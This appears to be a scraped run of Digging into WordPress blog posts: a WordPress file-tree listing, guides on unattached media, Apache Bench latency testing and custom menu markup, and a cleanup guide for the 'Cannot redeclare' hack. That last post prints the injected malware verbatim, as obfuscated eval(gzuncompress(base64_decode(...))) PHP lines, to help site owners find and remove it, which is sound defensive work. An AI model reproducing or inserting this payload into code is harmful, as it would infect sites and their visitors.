			jquery.Jcrop.js
		/jquery/
			jquery.color.dev.js
			jquery.color.js
			jquery.form.dev.js
			jquery.form.js
			jquery.hotkeys.dev.js
			jquery.hotkeys.js
			jquery.js
			jquery.query.js
			jquery.schedule.js
			jquery.serialize-object.js
			jquery.table-hotkeys.dev.js
			jquery.table-hotkeys.js
			suggest.dev.js
			suggest.js
			/ui/
				jquery.effects.blind.min.js
				jquery.effects.bounce.min.js
				jquery.effects.clip.min.js
				jquery.effects.core.min.js
				jquery.effects.drop.min.js
				jquery.effects.explode.min.js
				jquery.effects.fade.min.js
				jquery.effects.fold.min.js
				jquery.effects.highlight.min.js
				jquery.effects.pulsate.min.js
				jquery.effects.scale.min.js
				jquery.effects.shake.min.js
				jquery.effects.slide.min.js
				jquery.effects.transfer.min.js
				jquery.ui.accordion.min.js
				jquery.ui.autocomplete.min.js
				jquery.ui.button.min.js
				jquery.ui.core.min.js
				jquery.ui.datepicker.min.js
				jquery.ui.dialog.min.js
				jquery.ui.draggable.min.js
				jquery.ui.droppable.min.js
				jquery.ui.mouse.min.js
				jquery.ui.position.min.js
				jquery.ui.progressbar.min.js
				jquery.ui.resizable.min.js
				jquery.ui.selectable.min.js
				jquery.ui.slider.min.js
				jquery.ui.sortable.min.js
				jquery.ui.tabs.min.js
				jquery.ui.widget.min.js
		json2.dev.js
		json2.js
		/plupload/
			changelog.txt
			handlers.dev.js
			handlers.js
			license.txt
			plupload.flash.js
			plupload.flash.swf
			plupload.html4.js
			plupload.html5.js
			plupload.js
			plupload.silverlight.js
			plupload.silverlight.xap
		prototype.js
		quicktags.dev.js
		quicktags.js
		/scriptaculous/
			MIT-LICENSE
			builder.js
			controls.js
			dragdrop.js
			effects.js
			scriptaculous.js
			slider.js
			sound.js
			unittest.js
			wp-scriptaculous.js
		swfobject.js
		/swfupload/
			handlers.dev.js
			handlers.js
			license.txt
			/plugins/
				swfupload.cookies.js
				swfupload.queue.js
				swfupload.speed.js
				swfupload.swfobject.js
			swfupload-all.js
			swfupload.js
			swfupload.swf
		/thickbox/
			loadingAnimation.gif
			macFFBgHack.png
			tb-close.png
			thickbox.css
			thickbox.js
		/tinymce/
			/langs/
				wp-langs-en.js
				wp-langs.php
			license.txt
			/plugins/
				/directionality/
					editor_plugin.js
				/fullscreen/
					editor_plugin.js
					fullscreen.htm
				/inlinepopups/
					editor_plugin.js
					/skins/
						/clearlooks2/
							/img/
								alert.gif
								button.gif
								buttons.gif
								confirm.gif
								corners.gif
								drag.gif
								horizontal.gif
								vertical.gif
							window.css
					template.htm
				/media/
					/css/
						media.css
					editor_plugin.js
					/js/
						embed.js
						media.js
					media.htm
					moxieplayer.swf
				/paste/
					blank.htm
					editor_plugin.js
					/js/
						pastetext.js
						pasteword.js
					pastetext.htm
					pasteword.htm
				/spellchecker/
					changelog.txt
					/classes/
						EnchantSpell.php
						GoogleSpell.php
						PSpell.php
						PSpellShell.php
						SpellChecker.php
						/utils/
							JSON.php
							Logger.php
					config.php
					/css/
						content.css
					editor_plugin.js
					/img/
						wline.gif
					/includes/
						general.php
					rpc.php
				/tabfocus/
					editor_plugin.js
				/wordpress/
					/css/
						content.css
					editor_plugin.dev.js
					editor_plugin.js
					/img/
						audio.gif
						embedded.png
						image.gif
						media.gif
						more_bug.gif
						page.gif
						page_bug.gif
						trans.gif
						video.gif
				/wpdialogs/
					editor_plugin.dev.js
					editor_plugin.js
					/js/
						popup.dev.js
						popup.js
						wpdialog.dev.js
						wpdialog.js
				/wpeditimage/
					/css/
						editimage-rtl.css
						editimage.css
					editimage.html
					editor_plugin.dev.js
					editor_plugin.js
					/img/
						delete.png
						image.png
					/js/
						editimage.dev.js
						editimage.js
				/wpfullscreen/
					editor_plugin.js
					fullscreen.htm
				/wpgallery/
					editor_plugin.dev.js
					editor_plugin.js
					/img/
						delete.png
						edit.png
						gallery.png
						t.gif
				/wplink/
					editor_plugin.dev.js
					editor_plugin.js
			/themes/
				/advanced/
					about.htm
					anchor.htm
					charmap.htm
					color_picker.htm
					editor_template.js
					image.htm
					/img/
						colorpicker.jpg
						flash.gif
						gotmoxie.png
						icons.gif
						iframe.gif
						pagebreak.gif
						quicktime.gif
						realmedia.gif
						shockwave.gif
						trans.gif
						video.gif
						windowsmedia.gif
					/js/
						about.js
						anchor.js
						charmap.js
						color_picker.js
						image.js
						link.js
						source_editor.js
					link.htm
					shortcuts.htm
					/skins/
						/default/
							content.css
							dialog.css
							/img/
								buttons.png
								items.gif
								menu_arrow.gif
								menu_check.gif
								progress.gif
								tabs.gif
							ui.css
						/highcontrast/
							content.css
							dialog.css
							ui.css
						/o2k7/
							content.css
							dialog.css
							/img/
								button_bg.png
								button_bg_black.png
								button_bg_silver.png
							ui.css
							ui_black.css
							ui_silver.css
						/wp_theme/
							content.css
							dialog.css
							/img/
								tabs.gif
							ui.css
					source_editor.htm
			tiny_mce.js
			tiny_mce_popup.js
			/utils/
				editable_selects.js
				form_utils.js
				mctabs.js
				validate.js
			wp-mce-help.php
			wp-tinymce.js.gz
			wp-tinymce.php
		tw-sack.dev.js
		tw-sack.js
		wp-ajax-response.dev.js
		wp-ajax-response.js
		wp-list-revisions.dev.js
		wp-list-revisions.js
		wp-lists.dev.js
		wp-lists.js
		wp-pointer.dev.js
		wp-pointer.js
		wplink.dev.js
		wplink.js
	kses.php
	l10n.php
	link-template.php
	load.php
	locale.php
	media.php
	meta.php
	ms-blogs.php
	ms-default-constants.php
	ms-default-filters.php
	ms-deprecated.php
	ms-files.php
	ms-functions.php
	ms-load.php
	ms-settings.php
	nav-menu-template.php
	nav-menu.php
	pluggable-deprecated.php
	pluggable.php
	plugin.php
	/pomo/
		entry.php
		mo.php
		po.php
		streams.php
		translations.php
	post-template.php
	post-thumbnail-template.php
	post.php
	query.php
	registration-functions.php
	registration.php
	rewrite.php
	rss-functions.php
	rss.php
	script-loader.php
	shortcodes.php
	taxonomy.php
	template-loader.php
	/theme-compat/
		comments-popup.php
		comments.php
		footer.php
		header.php
		sidebar.php
	theme.php
	update.php
	user.php
	vars.php
	version.php
	widgets.php
	wlwmanifest.xml
	wp-db.php
	wp-diff.php

© 2012 Digging into WordPress | Permalink | 25 comments | Add to del.icio.us | Post tags: files, reference

Why media files may be “unattached”

Basically, WordPress needs to know which post to attach the file to, so if that information isn’t available, the file’s status is set to “unattached”. For example, if you have a bunch of images attached to a post, and then delete the post, the images are still visible in the Media Library and still exist in the /wp-content/uploads/ directory, but they will be unattached to any particular post.

Another reason why you might have unattached media files is because they were uploaded directly through the Media Library instead of through a specific post. Some WordPress users like to upload lots of images up-front, before creating any posts. Are there other ways that media files become unattached? Possibly, but ultimately it doesn’t matter because it’s relatively straightforward to locate all unattached files and attach them to specific posts. Well, it is once you know how to do it..

How to find your unattached media files

Eliminating and/or organizing rogue files of any type is good practice for running a tight ship, whether it be media files, theme files, or other project files laying around on the server. When it comes to cleaning up your media files, WordPress provides two easy ways of locating everything that’s not attached to a specific post.

As seen in the previous image, the first and easiest way to find and attach your files is to click the Unattached link (1) at the top of the Media Library page. That will list all of your unattached files along with a quick link to Attach (2) the file to a specific post. This is also the second way to find unattached images, as the “Attach” link is easy to spot among all of your attached media files.

How to attach your unattached media files

Once you’ve found some unattached files, you’re ready to attach them to their rightful posts. There are several ways to do this, depending on where you’re at in the WordPress Admin.

• If you’re on the Media Library page, then you’ll see the Attach link next to the unattached file (see previous image).
• If you’re already viewing the list of “Unattached” images, you can hover over a specific file to reveal its Attach link.
• If you’re working on a post, click the Upload/Insert button, go to the Media Library tab, search for the image, and click the Insert into Post button.

Here is a screenshot showing the “Attach” link next the file in the list of “Unattached” files:

After clicking the “Attach” link, a popup window will appear, like so:

At this point we see some room for improvement, in that you sort of have to “know” in advance the title or contents of the post to which the file should be attached. If you’re not sure and just want to sort of browse through existing posts to find the best one, try searching with some relevant/related search terms. If you really have no idea which post to use, try searching for a super-common word like “the” or “a” and you’ll get the first 30 or so posts. Unfortunately at this time there is no way to navigate through more than the first set of results, but it may be enough to get you there. It would be good to have this option in the future (hint hint).

Once you’ve found the post that you would like to use, select it and click the Select button, as shown in the previous image. That’s all it takes, after clicking “Select” WordPress does its thing and the file is attached to the selected post.

How to un-attach media files

Wrapping up, just wanted to point out another area where WordPress could be improved. As far as I know, there is no way to “un-attach” media files from their respective posts from within the Admin area. Unless somebody knows a way of doing so, the only way seems to be complete deletion of the media file in question. When working with a lot of files, each with their own meta information, this can be a rather unpleasant experience, but I digress.. Yes you can always attach the file to another post, but that doesn’t change the post to which it was first attached. To change that information, it’s either a trip to the database or delete the file and start over.

1-minute summary

To attach an unattached media file, find an Attach link, select the desired post from the list, and click the Select button. Alternately, if you’re working on a post, click the Upload/Insert button, visit the Media Library tab, locate and select the desired post, and click the Insert into Post button.

Taking the time to clean-up and organize your files is a great way to improve the efficiency and maintainability of your website.

That’s all for now, Happy attaching :)

© 2012 Digging into WordPress | Permalink | 14 comments | Add to del.icio.us | Post tags: Admin, attachments, tips, tricks

Since there are plenty of places to measure your site speed online, this article goes into detail of how to measure your site latency using Apache Bench. This is helpful because you’ll know how to make educated hosting decisions, AND after running the following test, you’ll be familiar with Apache Bench, a useful tool for site administration.

Less latency = faster websites?

The question of latency came up when WP Engine, a managed WordPress hosting provider, and the company I work for, began fielding support calls from Asian and Pacific geographies. They had a variety of questions about our hosting, but we answered the same question about latency several times:

“How much faster would my site be to me if I moved it to another location?”

We decided that it would be helpful to share a tutorial of how to answer this question for those so inclined.

This question often came from an Asian country who was asking if their site would load faster on their continent if they moved their hosting from North American servers to Asian servers. The distance between the browser and the server are an important factor in how quickly a page will load in a browser. It will simply take longer for a page to load in China if it is being served from Dallas, Texas instead of Beijing.

It’s fair to say that most, if not all, big WordPress sites have visitors from across the globe, so it can be useful to know how to test the relative speed differences between hosting companies or locations, so we’ll show you how to use Apache Bench to do that.

Defining terms

First off, lets define terms. We’re measuring latency rather than total speed. That is, we’re concerned with the time it takes the first byte to appear in the browser, not the time it takes all the bytes to appear.

That’s because distance typically increases latency but not throughput.

For example, suppose a browser in London is hitting a server in New York City. First it has to make the request for the page — traversing the Atlantic or bouncing off a satellite — then the server starts sending the response, which now also has to move across the Atlantic.

Let’s call the length of time to move across the ocean L (for Latency) and the length of time the server takes to start sending bytes S (for Server-Speed). Then the time of this transaction is:

2L + S

Actually, in reality it’s worse than that. That’s just the HTTP request, and before that even happens you have to establish the TCP/IP connection, which takes another back-and-forth (actually there’s three legs to that protocol, but we’ll gloss over that detail), so the true equation is:

4L + S

If the browser is in New York City, L will be small, perhaps as little as 40ms. Whereas even on very fast servers like we have at WP Engine S is at least 250ms, and typical hosting providers with page-cache plugins have 500ms of S. Without page caching S could be up to 1-4 seconds. Therefore, when you’re close to the server, S dominates the equation, and the speed of the server is the most important factor.

However, with a browser request from London, L is easily 500-750ms. With a fast server the latency is an order of magnitude more time than the server time. At great distances, the latency will completely determine the apparent speed of the site.

Measuring Latency with Apache Bench

So how do you easy measure latency in the field? And in particular, how would we measure the difference between identical servers in London and NYC?

There’s a simple, free tool from Apache called Apache Bench, which we recommend for basic tests like these (and many other too). You can run Apache Bench from Terminal on a Mac, or Putty on Windows. There are other options depending on how secure you want to be.

To make sure it’s working for you, let’s see what happens when you run it once on our company homepage:

ab http://wpengine.com/
(Note the trailing slash — ab is finicky about that!)

A successful test will look like this:

Apache Bench Test 1

Now the trouble with making just one request is that there’s all kinds of errors that can happen. For example, maybe someone two houses down just started downloading 17 simultaneous bittorrents of porn. That will mess up your results.

So what we really need is to run N trials and aggregate the results. ab can do that. Suppose N is 100, and just do this:

ab -n 100 http://wpengine.com/

Now the results are more interesting, showing us average and standard deviation:

Apache Bench Test 2

The “standard deviation” tells you how much error is there. Assuming a normal distribution of results (which seems appropriate), 95% of the results fall within +/- 2 standard deviations. Even if the distribution is not normal, at least 75% of the results fall within +/- 2.

In particular, check out the “time to connect” and “time to start,” which show the 2L time to establish the TCP/IP connection and the additional 2L + S time to request the page and start getting the data.

In fact, just from these two data points we can compute L and S! After all, we have:

(1)   2L = A
(2)   2L + S = B

So subtracting (1) from (2) we find that B – A = S, and A/2 = L. Now, this is just an estimate because, remember, there’s lots of potential error and variation here. Still, it’s a good bit of data to gather.

Now of course we only have to run the same command from a machine in another location to find the difference in L.

So to solve the original problem, the person in London can run Apache Bench against a copy of her blog in London and the live one in NYC to see the difference.

This is a helpful method to check your site’s latency in various geographic locations. Just because it’s blazing fast in the US, does not mean that your customer in Europe or Asia will be getting served as quickly, especially if the closest server is far away.

Let us know what you think! How else are you guys using Apache Bench, or how has measuring this latency changed the way you’re managing your WordPress?

About the author

This guest post is by Austin Gunter, blogger and brand ambassador for WP Engine. WP Engine offers fast WordPress hosting that is optimized for speed and security. They also like breakfast tacos and long walks along the server beach.

© 2012 Digging into WordPress | Permalink | 9 comments | Add to del.icio.us | Post tags: optimization, performance, tips

Customizing HTML displayed with wp_nav_menu()

By default, WordPress custom menus are displayed in your theme template using the wp_nav_menu function, which by default outputs markup that looks like this:

<div class="menu-test-container"><ul id="menu-test" class="menu"><li id="menu-item-6" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item current_page_item menu-item-home menu-item-6"><a href="http://example.com/">Home</a></li>
<li id="menu-item-7" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-7"><a href="http://example.com/demos/">Demos</a></li>
<li id="menu-item-8" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-8"><a href="http://example.com/downloads/">Downloads</a></li>
<li id="menu-item-9" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-9"><a href="http://example.com/docs/">Documentation</a></li>
</ul></div>

That’s a mess of class and id attributes, plus an extra <div> container to boot. Fortunately, the wp_nav_menu() provides some useful parameters for customizing the display of your custom navigation menus. Here is a list of the default parameters:

<?php $defaults = array(
  'theme_location'  => ,
  'menu'            => , 
  'container'       => 'div', 
  'container_class' => 'menu-{menu slug}-container', 
  'container_id'    => ,
  'menu_class'      => 'menu', 
  'menu_id'         => ,
  'echo'            => true,
  'fallback_cb'     => 'wp_page_menu',
  'before'          => ,
  'after'           => ,
  'link_before'     => ,
  'link_after'      => ,
  'items_wrap'      => '<ul id=\"%1$s\" class=\"%2$s\">%3$s</ul>',
  'depth'           => 0,
  'walker'          => );
?>

Of these parameters, $container lets you specify how to wrap the <ul> element, using either 'div', 'nav', or false. So by specifying false for the $container parameter, we can simplify markup by removing the <div> container. The wp_nav_menu function also provides two more optional parameters for customizing menu markup:

• $items_wrap – “Whatever to wrap the items with an ul, and how to wrap them with” (source: WP Codex)
• $walker – “Custom walker object to use (Note: You must pass an actual object to use, not a string)” (source: WP Codex)

These sound useful, but I haven’t had much luck with either. The $items_wrap didn’t seem to do anything, but there are plenty of custom walker scripts (404 link removed 2013/04/18) available for further experimentation and customization. If you can get them to work properly, a custom walker provides complete control over custom-menu markup displayed with the wp_nav_menu tag. Unfortunately, I was unable to get very far with any of them, so I sought an alternate method..

An alternative approach for custom markup

After fiddling with a few of the various custom walkers, I decided to find an easier way to customize and format WordPress nav/menu markup. The walkers are fairly extensive and complex, and just seem like overkill for building a simple list of custom menu items. After some digging through the WordPress Codex, I found the perfect function for crafting squeaky-clean WordPress menus: wp_get_nav_menu_items. As the name implies, wp_get_nav_menu_items returns the items from your custom navigation menus (as created in the WP Admin → Appearance → Menus panel). Thus, you can use this function to mark up your custom menus however you want. For my particular project, the desired format looks like this:

<nav>
	<ul>
		<li><a href="http://example.com/">Home</a></li>
		<li><a href="http://example.com/demos/">Demos</a></li>
		<li><a href="http://example.com/downloads/">Downloads</a></li>
		<li><a href="http://example.com/docs/">Documentation</a></li>
	</ul>
</nav>

Trying to do this with the commonly used wp_nav_menu function and a custom walker is possible, but it’s much easier building the menu structure from scratch, using only what’s required to make it happen. So alternately we use wp_get_nav_menu_items and begin with the example function provided at the Codex. After wrapping it in a function and customizing the output, we have the clean_custom_menus() function, ready for copy/paste into your theme’s functions.php file:

// custom menu example @ http://digwp.com/2011/11/html-formatting-custom-menus/
function clean_custom_menus() {
	$menu_name = 'nav-primary'; // specify custom menu slug
	if (($locations = get_nav_menu_locations()) && isset($locations[$menu_name])) {
		$menu = wp_get_nav_menu_object($locations[$menu_name]);
		$menu_items = wp_get_nav_menu_items($menu->term_id);

		$menu_list = '<nav>' ."\n";
		$menu_list .= "\t\t\t\t". '<ul>' ."\n";
		foreach ((array) $menu_items as $key => $menu_item) {
			$title = $menu_item->title;
			$url = $menu_item->url;
			$menu_list .= "\t\t\t\t\t". '<li><a href="'. $url .'">'. $title .'</a></li>' ."\n";
		}
		$menu_list .= "\t\t\t\t". '</ul>' ."\n";
		$menu_list .= "\t\t\t". '</nav>' ."\n";
	} else {
		// $menu_list = '<!-- no list defined -->';
	}
	echo $menu_list;
}

After placing in your functions.php file, you can call the function and display your custom menus anywhere in your theme by calling it directly:

<?php if (function_exists(clean_custom_menus())) clean_custom_menus(); ?>

Then, you can customize the clean_custom_menus() function as follows:

1. Line 3: specify your custom-menu slug
2. Lines 8 thru 15: customize markup, tabs, and line breaks as needed
3. Line 17: uncomment else condition and customize if needed

For lines 8-15, anything is possible – you can include whatever list items, markup, and attributes required. Additionally, you can tab and indent markup to line up with page markup using \n for a new line and \t for a tab space. The fastest, easiest way to use this function is to copy/paste into your theme and then check out your list markup. For example, if the nav list is too far to the left, add some more tabs. You can also add class and id attributes, include custom items, and even manipulate which list items are displayed ($url, $title, etc.). After a little fine-tuning, the wp_get_nav_menu_items() function enables clean, well-formatted markup for your custom menus.

Quick Summary

In this article, we explain two ways to clean up and customize WordPress’ custom-menu markup. Either of these methods will take your code from this:

<div class="menu-test-container"><ul id="menu-test" class="menu"><li id="menu-item-6" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item current_page_item menu-item-home menu-item-6"><a href="http://example.com/">Home</a></li>
<li id="menu-item-7" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-7"><a href="http://example.com/demos/">Demos</a></li>
<li id="menu-item-8" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-8"><a href="http://example.com/downloads/">Downloads</a></li>
<li id="menu-item-9" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-9"><a href="http://example.com/docs/">Documentation</a></li>
</ul></div>

..to this:

<nav>
	<ul>
		<li><a href="http://example.com/">Home</a></li>
		<li><a href="http://example.com/demos/">Demos</a></li>
		<li><a href="http://example.com/downloads/">Downloads</a></li>
		<li><a href="http://example.com/docs/">Documentation</a></li>
	</ul>
</nav>

..or whatever HTML structure that’s required. You can achieve this with either of these methods:

• Combine wp_nav_menu() with a custom walker class
• Combine wp_get_nav_menu_items() with the clean_custom_menus() function

As usual, if you know of better ways of doing something, please share in the comments! Thanks for reading Digging into WordPress :)

© 2011 Digging into WordPress | Permalink | 46 comments | Add to del.icio.us | Post tags: functions, HTML, menu

Checking for the “Cannot redeclare” hack

The good news is that the hack is easy to diagnose. Just open any page from your site and look for the following PHP error message:

Fatal error: Cannot redeclare _765258526() 
(previously declared in /path/to/www/wp-content/themes/THEME/footer.php(12) 
: eval()'d code:1) in /path/to/www/index.php(18) 
: eval()'d code on line 1

PHP errors like this are usually located at the bottom of the web page, but may appear elsewhere or even not all in some cases (i.e., proper configuration). To be certain, scan your server’s PHP error logs for the “Cannot redeclare” error string. If you find anything that matches, it’s time to fix your site..

About the “Cannot redeclare” hack

If your site’s been hit with “Cannot redeclare”, you’re in for a wild clean-up party because it infects every index.php and footer.php file for every WordPress site on the server.

For example, my client hosted 11 sites on the same shared account, so multiply that by the number of index and footer files used by WordPress (core files and themes) and you get over 200 hacked files to clean up. Needless to say the client’s sites have been moved to a more secure location.

Fortunately finding the hacked index files is relatively painless, just search all files on your server for the following phrase:

eval(gzun

Here is a screenshot showing search results for this phrase:

As seen here, the hacked files should be easy to recognize because they:

• include the eval(gzun search term
• include long strings of encoded gibberish
• consist of index.php and footer.php files

If your search turns up anything that similar but not quite what we’re talking about here, it may or may not be legit. The main thing that we’re looking for are the long strings of encoded nonsense. Also, remember to check all sites that you may have on the same server. Once you’ve isolated the infected files, it’s time to clean ‘em up..

Removing the “Cannot redeclare” hack

Looking at any of the hacked files, you’ll find this hideous looking piece of code garbage:

<?php eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzcyNDG2NDc3MLGMV4+1dSwqSqzU0LQGAJCPCMM=')));  eval(gzuncompress(base64_decode('eF5LK81LLsnMz1OINzczNTK1MDUy01DJ1KxWSbR1LCpKrNTQtC5KLSktylNISixONTOJT0lNzk9J1VBJjFbJjNW0rgUAqDUUxQ==')));  eval(gzuncompress(base64_decode('eF6VlMmyo0YURPeO8D94192hhQokhBSOXhSjmAoVVYDQxoGYJzFKAr7ez257Ya/6/UDevHkyMnmF9ddsfT6itumGZBy/3sMxOez/iJOojZOvXxKFo1GazvHOBGLA+eUaLVZpzajUZhTU15L3GFPsjAFRPMEAFudWy/H371++ffv2+2+//pL8xAHTODKmOT6slbE1tOJ1kiCDyoCxphgvMRm9qgExefekX133El0ismOkqGKP42MZLpKJpPMS8YTx4gSYVTsZZGe4IDdMec9Y+/pC3J1NwcNz5cbyxsZi7uQpYBHw88T+MPqTTulClndJI2Dx+I1owCJqXi0kAiGDr1PmpH+r/aTW/2IFVglZi6osknzT22+Yfz8mcjvS0l0L96TTiLuQ2MMek2IXbPSj2KrAO+ddAXvjWLWGHMfuyQrhhdkqAvz+CT+ojEYjqyB0rlslDwURXHJ71jw323da2R40mRpdS4G7wsjZXqfQjIck2hxOHc/bz77v+puTkrDPFsMoxgdVLn5dNCpjnotZMiFZKLX3LSu/xWPgnXXxxd2UgOtMuStvykbQOS04ZZINfXx9sg9l5G6GtgVvWJSG0uT8cr4x+pmL+C29MFouyy5VgBmk9WCjtJIuBwvaskyLo/De1BNIvYk6O/3liRUSN4tenILmuXaHUeqGNR7ouqyfyIb+1agxALuPZs5o1dYP9iuzSthDwkcnZgxky0cQ63OW8ELrc0LllmTOu7k3emSFNcicuCO11t2flxdnl3QngmRY8ipQ5yJo5i6sb69zN06yOgr1ja6SUyJPRVYU123gNYPkwhyM6zP7/hmmDAXA/GCKt2SMs9rXRPOUifjEuvCkhqLQ52ZxkHutKdrzZvO4+yIcdsdp/z5uwlMT7sqre/Bjns096xq4ppgfSHNomHt645A8tnLo1wPeKjUWwzM6Fy6801J9qwOWfUExd9U2eVAOZElU3Vc+2pdeJGosX+U022iZa0nW/LCIQLZPbjs0Rac9tmGfK+oW7k1LsaGMWZvsxuV9LSZ3/CDdQqpA6oCMr7F+OQDN42VrNztRLVGmOi9TZL02hmort/2iyAtvpWu7CtvHXihvbeyNn8nuv6vEBwCVFjuWGDCepDPG7JO788/0Obhcsd2DeRlXYhQvsSfZsjOV63USOcMk1bTUSCPFbCNq6xTUaK1OOuMJeqnc9RL5YMhciGs39OFn+PImRQj/d0cSdpLw+uFztQLmWu4BWyAXinlxV53ppnZdr6p5H9bhoKtpsK/1p2o8c7fu3ZZtENnLjisrS95ya6iLlxQIWqoLA1ELfAUFbpnNu2GfmFa1E5Lu+YrCNimZ6OyxMGmHhWwRwSIv9dFR9ryN1h02Q8pmGjVsNrsdOMNpBat/t0oYvWgkq/vhjiWxSxuuow+lR+virP659Lri9uDEEdZeK0HFT0Ig/8jlTymmN/I='))); ?>

Disgusting stuff, and if you don’t see it at first, that doesn’t mean it’s not there. The scumbags who deal in this filth are clever enough to indent the code so it appears off-screen (via horizontal scrollbar). It’s a clever trick, but most text editors have a limit to the number of characters that appear on each line, so the super-long string of encoded gibberish wraps and becomes easy to spot:

Notice it there in the last line.. it’s like that for all teh files. And again, if you don’t see anything then look for it off-screen. Once you find it, delete it. Then repeat for all index and footer files on your server. Once you’ve done that the “Cannot redeclare” hack should be gone, but you should take steps to prevent future attacks..

Securing your WordPress site

For public websites, there is no such thing as perfect security. There are many ways to improve security, however, including finding a more secure host for your sites. In general, private or some sort of virtual private hosting is better than shared hosting (for many reasons), but it’s also more expensive. Hosting is one of those things where you get what you pay for.. so if you have the means, upgrading to a better, more secure host is the first thing I would consider.

Beyond switching hosts, there are a number of known effective measures you can take to improve the security of your site. There are many excellent resources available to help with site security (both for WordPress and in general), including an entire Lynda.com video/screencast series that focuses in-depth on devloping secure WordPress sites. Even more recently is Daniel Pataki’s Smashing WP article on securing your WordPress website. And if you want to hear it direct from the horse’s mouth, check out the good ‘ol fashioned WP Codex for info on hardening WordPress.

More help..

There’s currently not a lot of info on the “Cannot redeclare” hack, but this WP Forum thread provides some additional clues. If you have any information regarding this hack, or how it relates to the TimThumb hack, please leave a comment to share the information with others in the WP community. Thanks.

© 2011 Digging into WordPress | Permalink | 17 comments | Add to del.icio.us | Post tags: hacking, PHP, Security